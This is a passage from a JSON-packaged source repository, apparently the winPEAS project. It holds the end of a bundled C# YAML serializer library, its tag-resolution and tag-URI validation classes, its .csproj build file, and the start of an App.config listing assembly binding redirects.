name=\"types\">Expected type(s) of the root object(s) in the YAML stream.</param>\n        /// <returns>C# object(s) deserialized from YAML text.</returns>\n        public object[] Deserialize(Stream s, params Type[] types)\n        {\n            return Deserialize(new StreamReader(s), types);\n        }\n        /// <summary>\n        /// Deserialize C# object(s) from a YAML text in a <see cref=\"TextReader\"/> <paramref name=\"tr\"/>. \n        /// Since a YAML text can contain multiple YAML documents, each of which \n        /// represents a C# object, the result is returned as an array of <see cref=\"object\"/>.\n        /// </summary>\n        /// <param name=\"tr\">A <see cref=\"TextReader\"/> that contains YAML text from which C# objects are deserialized.</param>\n        /// <param name=\"types\">Expected type(s) of the root object(s) in the YAML stream.</param>\n        /// <returns>C# object(s) deserialized from YAML text.</returns>\n        public object[] Deserialize(TextReader tr, params Type[] types)\n        {\n            return Deserialize(tr.ReadToEnd(), types);\n        }\n        /// <summary>\n        /// Deserialize C# object(s) from a YAML text in a file named as <paramref name=\"YamlFileName\"/>. \n        /// Since a YAML text can contain multiple YAML documents, each of which \n        /// represents a C# object, the result is returned as an array of <see cref=\"object\"/>.\n        /// </summary>\n        /// <param name=\"YamlFileName\">The name of a file that contains YAML text from which C# objects are deserialized.</param>\n        /// <param name=\"types\">Expected type(s) of the root object(s) in the YAML stream.</param>\n        /// <returns>C# object(s) deserialized from YAML text.</returns>\n        public object[] DeserializeFromFile(string YamlFileName, params Type[] types)\n        {\n            using ( var s = new FileStream(YamlFileName, FileMode.Open, FileAccess.Read) )\n                return Deserialize(s, types);\n        }\n    }\n\n    /// <summary>\n    /// Add .DoFunction method to string\n    /// </summary>\n    internal static class StringExtention\n    {\n        /// <summary>\n        /// Short expression of string.Format(XXX, arg1, arg2, ...)\n        /// </summary>\n        /// <param name=\"format\"></param>\n        /// <param name=\"args\"></param>\n        /// <returns></returns>\n        public static string DoFormat(this string format, params object[] args)\n        {\n            return string.Format(format, args);\n        }\n    }\n\n    /// <summary>\n    /// <para>Specify the way to store a property or field of some class or structure.</para>\n    /// <para>See <see cref=\"YamlSerializer\"/> for detail.</para>\n    /// </summary>\n    /// <seealso cref=\"YamlSerializeAttribute\"/>\n    /// <seealso cref=\"YamlSerializer\"/>\n    public enum YamlSerializeMethod\n    {\n        /// <summary>\n        /// The property / field will not be stored.\n        /// </summary>\n        Never,\n        /// <summary>\n        /// When restored, new object is created by using the parameters in\n        /// the YAML data and assigned to the property / field. When the\n        /// property / filed is writeable, this is the default.\n        /// </summary>\n        Assign,\n        /// <summary>\n        ///  Only valid for a property / field that has a class or struct type.\n        ///  When restored, instead of recreating the whole class or struct,\n        ///  the members are independently restored. When the property / field\n        ///  is not writeable this is the default.\n        /// </summary>\n        Content,\n        /// <summary>\n        ///  Only valid for a property / field that has an  array type of a \n        ///  some value type. The content of the array is stored in a binary\n        ///  format encoded in base64 style.\n        /// </summary>\n        Binary\n    }\n\n    /// <summary>\n    /// Specify the way to store a property or field of some class or structure.\n    /// \n    /// See <see cref=\"YamlSerializer\"/> for detail.\n    /// </summary>\n    /// <seealso cref=\"YamlSerializeAttribute\"/>\n    /// <seealso cref=\"YamlSerializer\"/>\n    public sealed class YamlSerializeAttribute: Attribute\n    {\n        internal YamlSerializeMethod SerializeMethod;\n        /// <summary>\n        /// Specify the way to store a property or field of some class or structure.\n        /// \n        /// See <see cref=\"YamlSerializer\"/> for detail.\n        /// </summary>\n        /// <seealso cref=\"YamlSerializeAttribute\"/>\n        /// <seealso cref=\"YamlSerializer\"/>\n        /// <param name=\"SerializeMethod\">\n        ///  <para>\n        ///  - Never:   The property / field will not be stored.</para>\n        ///  \n        ///  <para>\n        ///  - Assign:  When restored, new object is created by using the parameters in\n        ///             the YAML data and assigned to the property / field. When the\n        ///             property / filed is writeable, this is the default.</para>\n        ///  \n        ///  <para>\n        ///  - Content: Only valid for a property / field that has a class or struct type.\n        ///             When restored, instead of recreating the whole class or struct,\n        ///             the members are independently restored. When the property / field\n        ///             is not writeable this is the default.</para>\n        /// \n        ///  <para>\n        ///  - Binary:  Only valid for a property / field that has an  array type of a \n        ///             some value type. The content of the array is stored in a binary\n        ///             format encoded in base64 style.</para>\n        /// \n        /// </param>\n        public YamlSerializeAttribute(YamlSerializeMethod SerializeMethod)\n        {\n            this.SerializeMethod = SerializeMethod;\n        }\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlSerializer.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"12.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProductVersion>9.0.30729</ProductVersion>\n    <SchemaVersion>2.0</SchemaVersion>\n    <ProjectGuid>{AD9F3A60-C492-4823-8F24-6F4854E7CBF5}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>YamlSerializer</RootNamespace>\n    <AssemblyName>YamlSerializer</AssemblyName>\n    <TargetFrameworkVersion>v4.5.2</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <FileUpgradeFlags>\n    </FileUpgradeFlags>\n    <UpgradeBackupLocation>\n    </UpgradeBackupLocation>\n    <OldToolsVersion>3.5</OldToolsVersion>\n    <TargetFrameworkProfile />\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <DocumentationFile>\n    </DocumentationFile>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <DocumentationFile>bin\\Release\\YamlSerializer.XML</DocumentationFile>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup>\n    <StartupObject>YamlSerializerProgram.Program</StartupObject>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\">\n      <RequiredTargetFramework>3.5</RequiredTargetFramework>\n    </Reference>\n    <Reference Include=\"System.Xml.Linq\">\n      <RequiredTargetFramework>3.5</RequiredTargetFramework>\n    </Reference>\n    <Reference Include=\"System.Data.DataSetExtensions\">\n      <RequiredTargetFramework>3.5</RequiredTargetFramework>\n    </Reference>\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ObjectExtensions.cs\" />\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"RehashableDictionary.cs\" />\n    <Compile Include=\"YamlDoubleQuoteEscaping.cs\" />\n    <Compile Include=\"EasyTypeConverter.cs\" />\n    <Compile Include=\"ObjectMemberAccessor.cs\" />\n    <Compile Include=\"Parser.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"TypeUtils.cs\" />\n    <Compile Include=\"UriEncoding.cs\" />\n    <Compile Include=\"YamlAnchorDictionary.cs\" />\n    <Compile Include=\"YamlConstructor.cs\" />\n    <Compile Include=\"YamlParser.cs\" />\n    <Compile Include=\"YamlNode.cs\" />\n    <Compile Include=\"YamlPresenter.cs\" />\n    <Compile Include=\"YamlRepresenter.cs\" />\n    <Compile Include=\"YamlSerializer.cs\" />\n    <Compile Include=\"YamlTagPrefixes.cs\" />\n    <Compile Include=\"YamlTagResolutionScheme.cs\" />\n    <Compile Include=\"YamlTagValidator.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Content Include=\"ChangeLog.txt\" />\n    <Content Include=\"Readme.txt\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \n       Other similar extension points exist, see Microsoft.Common.targets.\n  <Target Name=\"BeforeBuild\">\n  </Target>\n  <Target Name=\"AfterBuild\">\n  </Target>\n  -->\n  <PropertyGroup>\n    <PostBuildEvent>\n    </PostBuildEvent>\n  </PropertyGroup>\n</Project>"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlTagPrefixes.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Reset();\n    /// SetupDefaultTagPrefixes();\n    /// Add(tag_handle, tag_prefix);\n    /// verbatim_tag = Resolve(tag_handle, tag_name);\n    /// </summary>\n    internal class YamlTagPrefixes\n    {\n        Dictionary<string, string> TagPrefixes = new Dictionary<string, string>();\n        Func<string, object[], bool> error;\n\n        #region Debug.Assert\n        #if DEBUG\n        /// <summary>\n        /// Since System.Diagnostics.Debug.Assert is too anoying while development,\n        /// this class temporarily override Debug.Assert action.\n        /// </summary>\n        private class Debug\n        {\n            public static void Assert(bool condition)\n            {\n                Assert(condition, \"\");\n            }\n            public static void Assert(bool condition, string message)\n            {\n                if ( !condition )\n                    throw new Exception(\"assertion failed: \" + message);\n            }\n        }\n        #endif\n        #endregion\n\n        public YamlTagPrefixes(Func<string, object[], bool> error)\n        {\n            this.error = error;\n        }\n        void Error(string format, params object[] args)\n        {\n            error(format, args);\n        }\n        public bool Reset()\n        {\n            TagPrefixes.Clear();\n            return true;\n        }\n        public void SetupDefaultTagPrefixes()\n        {\n            if ( !TagPrefixes.ContainsKey(\"!\") )\n                TagPrefixes.Add(\"!\", \"!\");\n            if ( !TagPrefixes.ContainsKey(\"!!\") )\n                TagPrefixes.Add(\"!!\", YamlNode.DefaultTagPrefix);\n        }\n        public void Add(string tag_handle, string tag_prefix)\n        {\n            if ( TagPrefixes.ContainsKey(tag_handle) ) {\n                switch ( tag_handle ) {\n                case \"!\":\n                    Error(\"Primary tag prefix is already defined as '{0}'.\", TagPrefixes[\"!\"]);\n                    break;\n                case \"!!\":\n                    Error(\"Secondary tag prefix is already defined as '{0}'.\", TagPrefixes[\"!!\"]);\n                    break;\n                default:\n                    Error(\"Tag prefix for the handle {0} is already defined as '{1}'.\", tag_handle, TagPrefixes[tag_handle]);\n                    break;\n                }\n            }\n            TagPrefixes.Add(tag_handle, tag_prefix);\n        }\n        public string Resolve(string tag_handle, string tag_name)\n        {\n            if ( !TagPrefixes.ContainsKey(tag_handle) )\n                Error(\"Tag handle {0} is not registered.\", tag_handle);\n            var tag = TagPrefixes[tag_handle] + tag_name;\n            return tag;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlTagResolutionScheme.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Represents the way to automatically resolve Tag from the Value of a YamlScalar.\n    /// </summary>\n    internal class YamlTagResolver\n    {\n        /// <summary>\n        /// Create TagResolver with default resolution rules.\n        /// </summary>\n        public YamlTagResolver()\n        {\n            AddDefaultRules();\n        }\n\n        /// <summary>\n        /// Add default tag resolution rules to the rule list.\n        /// </summary>\n        void AddDefaultRules()\n        {\n            BeginUpdate();\n            AddRule<int>(\"!!int\", @\"([-+]?(0|[1-9][0-9_]*))\", \n                m => Convert.ToInt32(m.Value.Replace(\"_\", \"\")), null);\n            AddRule<int>(\"!!int\", @\"([-+]?)0b([01_]+)\", m => {\n                var v = Convert.ToInt32(m.Groups[2].Value.Replace(\"_\", \"\"), 2);\n                return m.Groups[1].Value == \"-\" ? -v : v;\n                }, null);\n            AddRule<int>(\"!!int\", @\"([-+]?)0o?([0-7_]+)\", m => {\n                var v = Convert.ToInt32(m.Groups[2].Value.Replace(\"_\", \"\"), 8);\n                return m.Groups[1].Value == \"-\" ? -v : v;\n            }, null);\n            AddRule<int>(\"!!int\", @\"([-+]?)0x([0-9a-fA-F_]+)\", m => {\n                var v = Convert.ToInt32(m.Groups[2].Value.Replace(\"_\", \"\"), 16);\n                return m.Groups[1].Value == \"-\" ? -v : v;\n            }, null);\n            // Todo: http://yaml.org/type/float.html is wrong  => [0-9.] should be [0-9_]\n            AddRule<double>(\"!!float\", @\"[-+]?(0|[1-9][0-9_]*)\\.[0-9_]*([eE][-+]?[0-9]+)?\",\n                m => Convert.ToDouble(m.Value.Replace(\"_\", \"\")), null);\n            AddRule<double>(\"!!float\", @\"[-+]?\\._*[0-9][0-9_]*([eE][-+]?[0-9]+)?\",\n                m => Convert.ToDouble(m.Value.Replace(\"_\", \"\")), null);\n            AddRule<double>(\"!!float\", @\"[-+]?(0|[1-9][0-9_]*)([eE][-+]?[0-9]+)\",\n                m => Convert.ToDouble(m.Value.Replace(\"_\", \"\")), null);\n            AddRule<double>(\"!!float\", @\"\\+?(\\.inf|\\.Inf|\\.INF)\", m => double.PositiveInfinity, null);\n            AddRule<double>(\"!!float\", @\"-(\\.inf|\\.Inf|\\.INF)\", m => double.NegativeInfinity, null);\n            AddRule<double>(\"!!float\", @\"\\.nan|\\.NaN|\\.NAN\", m => double.NaN, null);\n            AddRule<bool>(\"!!bool\", @\"y|Y|yes|Yes|YES|true|True|TRUE|on|On|ON\", m => true, null);\n            AddRule<bool>(\"!!bool\", @\"n|N|no|No|NO|false|False|FALSE|off|Off|OFF\", m => false, null);\n            AddRule<object>(\"!!null\", @\"null|Null|NULL|\\~|\", m => null, null);\n            AddRule<string>(\"!!merge\", @\"<<\", m => \"<<\", null);\n            AddRule<DateTime>(\"!!timestamp\",  // Todo: spec is wrong (([ \\t]*)Z|[-+][0-9][0-9]?(:[0-9][0-9])?)? should be (([ \\t]*)(Z|[-+][0-9][0-9]?(:[0-9][0-9])?))? to accept \"2001-12-14 21:59:43.10 -5\"\n                @\"([0-9]{4})-([0-9]{2})-([0-9]{2})\" +\n                @\"(\" +\n                    @\"([Tt]|[\\t ]+)\" +\n                    @\"([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})(\\.([0-9]*))?\" +\n                    @\"(\" +\n                        @\"([ \\t]*)\" +\n                        @\"(Z|([-+])([0-9]{1,2})(:([0-9][0-9]))?)\" +\n                    @\")?\" +\n                @\")?\", \n                match => DateTime.Parse(match.Value),\n                datetime => {\n                    var z = datetime.ToString(\"%K\");\n                    if ( z != \"Z\" && z != \"\" )\n                        z = \" \" + z;\n                    if ( datetime.Millisecond == 0 ) {\n                        if ( datetime.Hour == 0 && datetime.Minute == 0 && datetime.Second == 0 ) {\n                            return datetime.ToString(\"yyyy-MM-dd\" + z);\n                        } else {\n                            return datetime.ToString(\"yyyy-MM-dd HH:mm:ss\" + z);\n                        }\n                    } else {\n                        return datetime.ToString(\"yyyy-MM-dd HH:mm:ss.fff\" + z);\n                    }\n                });\n            EndUpdate();\n        }\n\n        public Type TypeFromTag(string tag)\n        {\n            tag= YamlNode.ExpandTag(tag);\n            if ( types.ContainsKey(tag) )\n                return types[tag][0].GetTypeOfValue();\n            return null;\n        }\n\n        /// <summary>\n        /// List of tag resolution rules.\n        /// </summary>\n        List<YamlTagResolutionRule> Rules = new List<YamlTagResolutionRule>();\n        /// <summary>\n        /// Add a tag resolution rule that is invoked when <paramref name=\"regex\"/> matches \n        /// the <see cref=\"YamlScalar.Value\">Value of</see> a <see cref=\"YamlScalar\"/> node.\n        /// \n        /// The tag is resolved to <paramref name=\"tag\"/> and <paramref name=\"decode\"/> is\n        /// invoked when actual value of type <typeparamref name=\"T\"/> is extracted from \n        /// the node text.\n        /// </summary>\n        /// <remarks>\n        /// Surround sequential calls of this function by <see cref=\"BeginUpdate\"/> / <see cref=\"EndUpdate\"/>\n        /// pair to avoid invoking slow internal calculation method many times.\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// BeginUpdate(); // to avoid invoking slow internal calculation method many times.\n        /// Add( ... );\n        /// Add( ... );\n        /// Add( ... );\n        /// Add( ... );\n        /// EndUpdate();   // automaticall invoke internal calculation method \n        /// </code></example>\n        /// <param name=\"tag\"></param>\n        /// <param name=\"regex\"></param>\n        /// <param name=\"decode\"></param>\n        /// <param name=\"encode\"></param>\n        public void AddRule<T>(string tag, string regex, Func<Match, T> decode, Func<T, string> encode)\n        {\n            Rules.Add(new YamlTagResolutionRule<T>(tag, regex, decode, encode));\n            if ( UpdateCounter == 0 )\n                Update();\n        }\n\n        public void AddRule<T>(string regex, Func<Match, T> decode, Func<T, string> encode)\n        {\n            Rules.Add(new YamlTagResolutionRule<T>(\"!\"+typeof(T).FullName, regex, decode, encode));\n            if ( UpdateCounter == 0 )\n                Update();\n        }\n\n        int UpdateCounter = 0;\n        /// <summary>\n        /// Supress invoking slow internal calculation method when \n        /// <see cref=\"AddRule&lt;T&gt;(string,string,Func&lt;Match,T&gt;,Func&lt;T,string&gt;)\"/> called.\n        /// \n        /// BeginUpdate / <see cref=\"EndUpdate\"/> can be called nestedly.\n        /// </summary>\n        public void BeginUpdate()\n        {\n            UpdateCounter++;\n        }\n        /// <summary>\n        /// Quit to supress invoking slow internal calculation method when \n        /// <see cref=\"AddRule&lt;T&gt;(string,string,Func&lt;Match,T&gt;,Func&lt;T,string&gt;)\"/> called.\n        /// </summary>\n        public void EndUpdate()\n        {\n            if ( UpdateCounter == 0 )\n                throw new InvalidOperationException();\n            UpdateCounter--;\n            if ( UpdateCounter == 0 )\n                Update();\n        }\n\n        Dictionary<string, Regex> algorithms;\n        void Update()\n        {\n            // Tag to joined regexp source\n            var sources = new Dictionary<string, string>();\n            foreach ( var rule in Rules ) {\n                if ( !sources.ContainsKey(rule.Tag) ) {\n                    sources.Add(rule.Tag, rule.PatternSource);\n                } else {\n                    sources[rule.Tag] += \"|\" + rule.PatternSource;\n                }\n            }\n\n            // Tag to joined regexp\n            algorithms = new Dictionary<string, Regex>();\n            foreach ( var entry in sources ) {\n                algorithms.Add(\n                    entry.Key,\n                    new Regex(\"^(\" + entry.Value + \")$\")\n                );\n            }\n\n            // Tag to decoding methods\n            types = new Dictionary<string, List<YamlTagResolutionRule>>();\n            foreach ( var rule in Rules ) {\n                if ( !types.ContainsKey(rule.Tag) ) \n                    types[rule.Tag] = new List<YamlTagResolutionRule>();\n                types[rule.Tag].Add(rule);\n            }\n\n            TypeToRule = new Dictionary<Type, YamlTagResolutionRule>();\n            foreach ( var rule in Rules ) \n                if(rule.HasEncoder())\n                    TypeToRule[rule.GetTypeOfValue()] = rule;\n        }\n\n        Dictionary<string, List<YamlTagResolutionRule>> types;\n        Dictionary<Type, YamlTagResolutionRule> TypeToRule;\n\n        /// <summary>\n        /// Execute tag resolution and returns automatically determined tag value from <paramref name=\"text\"/>.\n        /// </summary>\n        /// <param name=\"text\">Node text with which automatic tag resolution is done.</param>\n        /// <returns>Automatically determined tag value .</returns>\n        public string Resolve(string text)\n        {\n            foreach ( var entry in algorithms )\n                if ( entry.Value.IsMatch(text) )\n                    return entry.Key;\n            return null;\n        }\n\n        /// <summary>\n        /// Decode <paramref name=\"text\"/> and returns actual value in C# object.\n        /// </summary>\n        /// <param name=\"node\">Node to be decoded.</param>\n        /// <param name=\"obj\">Decoded value.</param>\n        /// <returns>True if decoded successfully.</returns>\n        public bool Decode(YamlScalar node, out object obj)\n        {\n            obj = null;\n            if ( node.Tag == null || node.Value == null )\n                return false;\n            var tag= YamlNode.ExpandTag(node.Tag);\n            if ( !types.ContainsKey(tag) )\n                return false;\n            foreach ( var rule in types[tag] ) {\n                var m = rule.Pattern.Match(node.Value);\n                if ( m.Success ) {\n                    obj = rule.Decode(m);\n                    return true;\n                }\n            }\n            return false;\n        }\n\n        public bool Encode(object obj, out YamlScalar node)\n        {\n            node = null;\n            YamlTagResolutionRule rule;\n            if ( !TypeToRule.TryGetValue(obj.GetType(), out rule) )\n                return false;\n            node = new YamlScalar(rule.Tag, rule.Encode(obj));\n            return true;\n        }\n    }\n\n    internal abstract class YamlTagResolutionRule\n    {\n        public string Tag { get; protected set; }\n        public Regex Pattern { get; protected set; }\n        public string PatternSource { get; protected set; }\n        public abstract object Decode(Match m);\n        public abstract string Encode(object obj);\n        public abstract Type GetTypeOfValue();\n        public abstract bool HasEncoder();\n        public bool IsMatch(string value) { return Pattern.IsMatch(value); }\n    }\n\n    internal class YamlTagResolutionRule<T>: YamlTagResolutionRule\n    {\n        public YamlTagResolutionRule(string tag, string regex, Func<Match, T> decoder, Func<T, string> encoder)\n        {\n            Tag = YamlNode.ExpandTag(tag);\n            PatternSource = regex;\n            Pattern = new Regex(\"^(?:\" + regex + \")$\");\n            Decoder = decoder;\n            Encoder = encoder;\n        }\n        private Func<Match, T> Decoder;\n        private Func<T, string> Encoder;\n        public override object Decode(Match m)\n        {\n            return Decoder(m);\n        }\n        public override string Encode(object obj)\n        {\n            return Encoder((T)obj);\n        }\n        public override Type GetTypeOfValue()\n        {\n            return typeof(T);\n        }\n        public override bool HasEncoder()\n        {\n            return Encoder != null;\n        }\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlTagValidator.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Validates a text as a global tag in YAML.\n    /// \n    /// <a href=\"http://www.faqs.org/rfcs/rfc4151.html\">RFC4151 - The 'tag' URI Scheme</a>>\n    /// </summary>\n    internal class YamlTagValidator: Parser<YamlTagValidator.Status>\n    {\n        /// <summary>\n        /// Not used in this parser\n        /// </summary>\n        public struct Status { }\n\n        public static YamlTagValidator Default\n        {\n            get { return default_; }\n        }\n        static YamlTagValidator default_ = new YamlTagValidator();\n\n        /// <summary>\n        /// Validates a text as a global tag in YAML.\n        /// </summary>\n        /// <param name=\"tag\">A candidate for a global tag in YAML.</param>\n        /// <returns>True if <paramref name=\"tag\"/> is  a valid global tag.</returns>\n        public bool IsValid(string tag)\n        {\n            text = tag;\n            p = 0;\n            return TagUri();\n        }\n\n        private bool TagUri()\n        {\n            return\n                Accept(\"tag:\") &&\n                taggingEntity() &&\n                Accept(':') &&\n                specific() &&\n                Optional(\n                    Accept('#') &&\n                    fragment()\n                ) &&\n                EndOfString();\n        }\n\n        private bool taggingEntity()\n        {\n            return\n                RewindUnless(() =>\n                    authorityName() &&\n                    Accept(',') &&\n                    date()\n                );\n        }\n\n        private bool authorityName()\n        {\n            return\n                emailAddress() ||\n                DNSname();\n        }\n\n        private bool DNSname()\n        {\n            return\n                DNScomp() &&\n                Repeat(() =>\n                    Accept('.') &&\n                    DNScomp()\n                );\n        }\n\n        private bool DNScomp()\n        {\n            return RewindUnless(() =>\n                OneAndRepeat(alphaNum) &&\n                Repeat(() => RewindUnless(() =>\n                    Accept('-') &&\n                    OneAndRepeat(alphaNum)\n                ))\n            );\n        }\n\n        private bool alphaNum()\n        {\n            return\n                Accept(alphaNumCharset);\n        }\n        Func<char, bool> alphaNumCharset = Charset(c =>\n                c < 0x100 && (\n                    ( '0' <= c && c <= '9' ) ||\n                    ( 'A' <= c && c <= 'Z' ) ||\n                    ( 'a' <= c && c <= 'z' )\n                )\n            );\n\n        private bool emailAddress()\n        {\n            return RewindUnless(() =>\n                OneAndRepeat(() => alphaNum() || Accept('-') || Accept('.') || Accept('_')) &&\n                Accept('@') &&\n                DNSname()\n            );\n        }\n\n        private bool date()\n        {\n            return\n                Accept(dateRegex);\n        }\n        Regex dateRegex = new Regex(@\"(19[89][0-9]|20[0-4][0-9])(-(0[1-9]|1[0-2])(-(0[1-9]|[12][0-9]|3[01]))?)?\");\n\n        private bool num()\n        {\n            return\n                Accept(numCharset);\n        }\n        Func<char, bool> numCharset = Charset(c =>\n                c < 0x100 && \n                ( '0' <= c && c <= '9' ) \n            );\n\n        private bool specific()\n        {\n            return\n                Repeat(() => pchar() || Accept('/') || Accept('?'));\n        }\n\n        private bool fragment()\n        {\n            return\n                Repeat(() => pchar() || Accept('/') || Accept('?'));\n        }\n\n        private bool EndOfString()\n        {\n            return text.Length == p;\n        }\n\n        bool pchar()\n        {\n            return\n                Accept(pcharCharsetSub) ||\n                RewindUnless(() =>\n                    Accept('%') &&\n                    hexDig() &&\n                    hexDig()\n                );\n        }\n        Func<char, bool> pcharCharsetSub = Charset(c =>\n                c < 0x100 && (\n                    ( '0' <= c && c <= '9' ) ||\n                    ( 'A' <= c && c <= 'Z' ) ||\n                    ( 'a' <= c && c <= 'z' ) ||\n                    \"-._~!$&'()*+,;=:@\".Contains(c)\n                )\n            );\n\n        bool hexDig()\n        {\n            return Accept(hexDigCharset);\n        }\n        Func<char, bool> hexDigCharset = Charset(c =>\n                c < 0x100 && (\n                    ( '0' <= c && c <= '9' ) ||\n                    ( 'A' <= c && c <= 'F' ) ||\n                    ( 'a' <= c && c <= 'f' )\n                )\n            );\n\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n  <configSections>\n    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->\n    <section name=\"entityFramework\" type=\"System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" requirePermission=\"false\" />\n  </configSections>\n  <startup useLegacyV2RuntimeActivationPolicy=\"true\">\n    <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5.2\" />\n  </startup>\n  <runtime>\n    <AppContextSwitchOverrides value=\"Switch.System.IO.UseLegacyPathHandling=false\" />\n    <assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Runtime.CompilerServices.Unsafe\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-6.0.0.0\" newVersion=\"6.0.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"BouncyCastle.Crypto\" publicKeyToken=\"0e99375e54769942\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-1.9.0.0\" newVersion=\"1.9.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"Costura\" publicKeyToken=\"null\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-5.7.0.0\" newVersion=\"5.7.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"EntityFramework\" publicKeyToken=\"b77a5c561934e089\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-6.0.0.0\" newVersion=\"6.0.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"EntityFramework.SqlServer\" publicKeyToken=\"b77a5c561934e089\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-6.0.0.0\" newVersion=\"6.0.0.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"Microsoft.Bcl.AsyncInterfaces\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-9.0.0.1\" newVersion=\"9.0.0.1\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"Microsoft.Win32.Primitives\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.2.0\" newVersion=\"4.0.2.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.AppContext\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.1.1.0\" newVersion=\"4.1.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Buffers\" publicKeyToken=\"cc7b13ffcd2ddd51\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.3.0\" newVersion=\"4.0.3.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Console\" publicKeyToken=\"b03f5f7f11d50a3a\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-4.0.1.0\" newVersion=\"4.0.1.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Data.SQLite\" publicKeyToken=\"db937bc2d44ff139\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-1.0.119.0\" newVersion=\"1.0.119.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Data.SQLite.EF6\" publicKeyToken=\"db937bc2d44ff139\" culture=\"neutral\" />\n        <bindingRedirect oldVersion=\"0.0.0.0-1.0.119.0\" newVersion=\"1.0.119.0\" />\n      </dependentAssembly>\n      <dependentAssembly>\n        <assemblyIdentity name=\"System.Data.SQLite.Linq\" 